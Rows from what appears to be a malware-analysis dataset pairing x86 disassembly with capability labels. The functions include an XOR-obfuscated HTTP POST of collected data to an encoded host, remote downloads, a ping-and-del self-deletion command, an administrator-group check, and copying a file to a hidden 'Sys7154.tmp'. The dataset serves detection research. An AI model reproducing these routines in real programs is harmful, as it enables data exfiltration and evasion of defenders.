joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push 0xfa
mov dword [esp + 0x14], eax
mov esi, ecx
call fcn.00403aef
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401a54
push 0xfa
push 0
push ebx
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
push ebp
push esi
push 0x414560
push ebx
call fcn.004033f3
mov edi, dword [esp + 0x34]
add edi, 0x18
push edi
call fcn.00403aef
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401a45
mov dword [esi], ebp
mov dword [esi + 4], edi
mov ecx, dword [0x414764]
mov dword [esi + 8], ecx
mov edx, dword [0x414768]
mov dword [esi + 0xc], edx
mov eax, dword [0x41476c]
mov edx, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov ecx, dword [0x414770]
mov eax, dword [esp + 0x10]
push edx
mov dword [esi + 0x14], ecx
push eax
lea ecx, [esi + 0x18]
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test edi, edi
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + esi]
test al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x401a49
push edi
push esi
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push ebx
call fcn.00403a12
push esi
call fcn.00403a12
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov ebp, dword [esp + 0x10]
push ebx
call fcn.00403a12
add esp, 4
jmp 0x401a5c
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x10]
test esi, esi
je 0x401a69
push esi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x401a7a
push eax
call esi
test ebp, ebp
je 0x401a81
push ebp
call esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x401aa0
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414660
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401b5a
mov edx, dword [0x41479c]
push ebx
lea ecx, [esp + 8]
push ecx
push 0xb00000
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
push esi
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401b5a
cmp dword [esp + 4], 0
je 0x401b5a
mov al, 1
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 0x134
ret

Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
test ebp, ebp
jne 0x401bff
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401c54
push eax
call fcn.00403a12
add esp, 4
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push edi
push eax
call fcn.00403aef
mov esi, dword [esp + 0x10]
mov edx, dword [0x41479c]
push esi
mov edi, eax
push edx
push edi
call fcn.004090e0
add esp, 0x10
mov edx, edi
call fcn.004018c0
push ebp
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
Function at 0x402ab0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [esp + 0x148]
mov byte [esp + 0x14b], bl
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402b10
mov edx, dword [str.Program_Files__x86_]
mov ecx, dword [0x4105c0]
mov dword [eax], edx
mov edx, dword [0x4105c4]
mov dword [eax + 4], ecx
mov ecx, dword [0x4105c8]
mov dword [eax + 8], edx
mov edx, dword [0x4105cc]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
je 0x402b65
test byte [esp + 8], 0x10
je 0x402b65
mov bl, 1
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [esp + 0x254]
mov al, bl
pop ebx
xor ecx, esp
call fcn.004033e4
mov esp, ebp
pop ebp
ret
Function at 0x402e70
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
push 0x41046c
push ebp
call fcn.00403c7d
add esp, 8
test eax, eax
je 0x402e94
push eax
call fcn.004044c6
add esp, 4
xor al, al
pop ebp
ret
mov eax, dword [esp + 8]
push esi
push 0x410480
push eax
call fcn.00403c7d
mov esi, eax
add esp, 8
test esi, esi
jne 0x402eb2
pop esi
xor al, al
pop ebp
ret
push ebx
push edi
push 2
push 0
push esi
call fcn.004043ca
push esi
call fcn.004042d2
push 0
push 0
push esi
mov edi, eax
call fcn.004043ca
push edi
call fcn.00403aef
push esi
push 1
mov ebx, eax
push edi
push ebx
call fcn.00403f34
push esi
call fcn.004044c6
add esp, 0x34
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push 0x41060c
push ebp
mov dword [ebx + edi - 8], eax
call fcn.00403c7d
mov esi, eax
push esi
push 1
push edi
push ebx
call fcn.004040b3
push esi
call fcn.004044c6
add esp, 0x1c
pop edi
pop ebx
pop esi
mov al, 1
pop ebp
ret
Function at 0x4031d0
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x20
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 5
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp ebx, esi
je 0x4032f3
or edi, 0xffffffff
cmp ebx, edi
je 0x4032f3
lea eax, [esp + 0x18]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40325c
mov dword [esp + 0x10], edi
jmp 0x4032fb
lea ecx, [esp + 0x1c]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x403285
mov dword [esp + 0x10], edi
jmp 0x4032fb
push 0x400
call fcn.00403aef
push 0x400
mov edi, eax
push esi
push edi
call fcn.00406b00
mov ecx, dword [esp + 0x28]
add esp, 0x10
lea eax, [esp + 0x20]
push eax
push 0x400
push edi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebp, dword [edi]
cmp ebp, esi
jle 0x4032ff
lea ebx, [edi + 4]
mov edx, dword [ebx]
mov eax, dword [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4032e3
inc esi
add ebx, 8
cmp esi, ebp
jl 0x4032c1
mov ebx, dword [esp + 0x14]
xor esi, esi
jmp 0x4032ff
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 1
xor esi, esi
jmp 0x4032ff
mov dword [esp + 0x10], 0xffffffff
mov edi, dword [esp + 0x14]
cmp edi, esi
je 0x40330c
push edi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, esi
je 0x40331b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp ebx, esi
je 0x40332d
cmp ebx, 0xffffffff
je 0x40332d
push ebx
call edi
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x40333d
cmp eax, 0xffffffff
je 0x40333d
push eax
call edi
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x20
ret
Function at 0x403360
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub esp, 0x114
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x110], eax
push 0x100
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
mov eax, dword [0x413a20]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x413a20]
push ecx
lea edx, [esp + 4]
push str._c_ping_127.0.0.1__del__q___s_
push edx
call fcn.004033f3
add esp, 0xc
push 0
push 0
lea eax, [esp + 8]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x4033e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp fcn.00404744

Function at 0x40aff5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004058cd
and dword [ebp - 4], 0
cmp dword [0x414374], 0
mov ebx, eax
jne 0x40b0a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b157
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b157
push eax
call fcn.0040585b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x414374], eax
call esi
push eax
call fcn.0040585b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x414378], eax
call esi
push eax
call fcn.0040585b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41437c], eax
call esi
push eax
call fcn.0040585b
pop ecx
mov dword [0x414384], eax
test eax, eax
je 0x40b0a6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040585b
pop ecx
mov dword [0x414380], eax
mov eax, dword [0x414380]
cmp eax, ebx
je 0x40b0fe
cmp dword [0x414384], ebx
je 0x40b0fe
push eax
call fcn.004058d6
push dword [0x414384]
mov esi, eax
call fcn.004058d6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b0fe
test edi, edi
je 0x40b0fe
call esi
test eax, eax
je 0x40b0f5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b0f5
test byte [ebp - 0xc], 1
jne 0x40b0fe
or dword [ebp + 0x10], 0x200000
jmp 0x40b137
mov eax, dword [0x414378]
cmp eax, ebx
je 0x40b137
push eax
call fcn.004058d6
pop ecx
test eax, eax
je 0x40b137
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b137
mov eax, dword [0x41437c]
cmp eax, ebx
je 0x40b137
push eax
call fcn.004058d6
pop ecx
test eax, eax
je 0x40b137
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x414374]
call fcn.004058d6
pop ecx
test eax, eax
je 0x40b157
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b159
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4014ec
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4014fe
mov eax, dword [0x4c208b]
shl eax, 2
mov dword [0x4c208f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004a27a0
pop edx
call fcn.004a2704
call fcn.004a27e0
push 0
call fcn.004a3bec
pop ecx
push 0x4c2034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4c2093], eax
push 0
jmp fcn.004a8d60

Function at 0x402014
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff70
mov eax, 0x4c3db4
call fcn.004a2f4c
mov word [ebp - 0x1c], 8
lea eax, [ebp - 4]
call fcn.00401d74
inc dword [ebp - 0x10]
mov word [ebp - 0x1c], 0x14
push 0x64
lea edx, [ebp - 0x90]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0x1c], 0x20
lea edx, [ebp - 0x90]
lea eax, [ebp - 8]
call fcn.004acfb4
inc dword [ebp - 0x10]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004ad100
dec dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x1c], 0x2c
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004ad100
mov eax, dword [ebp + 8]
mov word [ebp - 0x1c], 0x38
push eax
dec dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004ad0d0
pop eax
mov word [ebp - 0x1c], 0x2c
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x40a610
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
mov eax, 0x4c5b54
call fcn.004a2f4c
mov word [ebp - 0x24], 8
lea eax, [ebp - 4]
call fcn.00401d74
inc dword [ebp - 0x18]
mov word [ebp - 0x24], 0x14
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov edx, dword [eax]
call dword [edx + 0x44]
mov dword [ebp - 0x38], 0x41
mov word [ebp - 0x24], 0x20
mov dl, byte [ebp - 0x38]
lea eax, [ebp - 8]
call fcn.004ad084
inc dword [ebp - 0x18]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004ad100
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x24], 0x2c
lea eax, [ebp - 0x10]
call fcn.00401d74
push eax
inc dword [ebp - 0x18]
mov edx, 0x4c283c
lea eax, [ebp - 0xc]
call fcn.004acfb4
inc dword [ebp - 0x18]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
pop ecx
call fcn.004ad114
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004ad100
dec dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004ad0d0
push dword [ebp - 4]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 3
jne 0x40a703
mov edx, dword [ebp + 8]
add edx, 4
lea eax, [ebp - 4]
call fcn.004ad1b8
test al, al
je 0x40a703
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x5a
jl 0x40a648
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004ad0d0
mov ecx, dword [ebp - 0x34]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40a730
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
mov eax, 0x4c5bcc
call fcn.004a2f4c
mov word [ebp - 0x20], 8
lea eax, [ebp - 4]
call fcn.00401d74
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x14
push 0xff
lea edx, [ebp - 0x130]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0x20], 0x20
lea edx, [ebp - 0x130]
lea eax, [ebp - 8]
call fcn.004acfb4
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004ad100
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x20], 0x2c
lea eax, [ebp - 0xc]
call fcn.00401d74
push eax
inc dword [ebp - 0x14]
lea eax, [ebp - 4]
mov ecx, 2
mov edx, 1
call fcn.004ad330
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, 4
call fcn.004ad100
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004ad0d0
mov ecx, dword [ebp - 0x30]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40bcb0
Capabilities:
Copy file
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
mov eax, 0x4c6524
call fcn.004a2f4c
mov dword [ebp - 0x20], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004acfec
inc dword [ebp - 0x20]
mov word [ebp - 0x2c], 8
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2c], 0x2c
lea eax, [ebp - 8]
call fcn.00401d74
mov edx, eax
inc dword [ebp - 0x20]
mov eax, dword [ebp + 8]
call fcn.004562c8
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 4]
call fcn.00401d74
push eax
inc dword [ebp - 0x20]
mov edx, str.Sys7154.tmp
lea eax, [ebp - 0xc]
call fcn.004acfb4
inc dword [ebp - 0x20]
lea edx, [ebp - 0xc]
pop ecx
pop eax
call fcn.004ad114
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x2c], 0x20
push 0
push dword [ebp - 4]
call fcn.00401ec4
pop ecx
push eax
push dword [ebp + 8]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_CopyFileA
push 0x16
push dword [ebp - 4]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push dword [ebp + 8]
call fcn.00401ec4
pop ecx
push eax
mov word [ebp - 0x2c], 0x38
lea eax, [ebp - 0x10]
call fcn.00401d74
mov edx, eax
inc dword [ebp - 0x20]
mov ecx, dword [0x4d45c8]
mov eax, dword [ecx]
call fcn.0048dea4
lea edx, [ebp - 0x10]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_CopyFileA
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x2c], 0x44
push 0x1bf2
mov edx, 0x4c292a
lea eax, [ebp - 0x14]
call fcn.004acfb4
inc dword [ebp - 0x20]
push dword [eax]
lea eax, [ebp - 0x18]
call fcn.00401d74
push eax
inc dword [ebp - 0x20]
call fcn.0040b6bc
add esp, 0xc
lea edx, [ebp - 0x18]
push dword [edx]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.0040b0d8
add esp, 0xc
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004ad0d0
push dword [ebp - 4]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_DeleteFileA
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2c], 8
jmp 0x40be64
push dword [ebp + 8]
call fcn.0040bba4
pop ecx
dec dword [ebp - 0x20]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004ad0d0
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d3a4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
push 0x64
push 0
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0
push 0
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetVolumeInformationA
cmp dword [ebp - 8], 0
setne cl
and ecx, 1
mov byte [ebp - 1], cl
mov al, byte [ebp - 1]
pop ecx
pop ecx
pop ebp
ret

Function at 0x40d5e8
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 4
call fcn.004a1fec
pop ecx
mov dword [ebp - 4], eax
push 4
call fcn.004a1fec
pop ecx
mov dword [ebp - 8], eax
push 4
call fcn.004a1fec
pop ecx
mov dword [ebp - 0xc], eax
push 4
call fcn.004a1fec
pop ecx
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp + 8]
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov ecx, dword [ebp - 8]
imul edx, dword [ecx]
mov eax, dword [ebp - 4]
imul edx, dword [eax]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x417808
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x417944
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x41795c
mov dl, 4
mov eax, dword [ebp - 4]
call fcn.00418ac8
mov eax, dword [ebp - 4]
call fcn.00418358
xor edx, edx
push ebp
push 0x417927
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10090], 0
jne 0x4178c6
test si, si
jne 0x417878
mov eax, dword [ebp - 8]
call fcn.004567e8
mov esi, eax
cmp esi, 0xffff
jbe 0x417878
call fcn.004685c8
movzx ebx, si
push 0
push ebx
movzx eax, si
sub eax, ebx
mov edx, dword [ebp - 8]
lea eax, [edx + eax]
push eax
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x10290]
push eax
call sub.WSOCK32.DLL_send
test eax, eax
je 0x4178c6
cmp eax, 0xffffffff
jle 0x4178a7
sub ebx, eax
jmp 0x4178b6
lea ecx, [ebp - 0xc]
mov dx, 0x2733
mov eax, dword [ebp - 4]
call fcn.004189fc
test ebx, ebx
je 0x4178c6
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10090], 0
je 0x41787b
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10090], 0
je 0x417911
mov eax, dword [ebp - 4]
mov byte [eax + 0x10090], 0
mov ecx, 0x417974
mov dl, 1
mov eax, dword [0x416edc]
call fcn.00459cc0
call fcn.00468e54
mov eax, dword [ebp - 4]
cmp word [eax + 0x1028a], 0
je 0x417911
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0x1028c]
call dword [ebx + 0x10288]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41792e
mov eax, dword [ebp - 4]
call fcn.004183b0
ret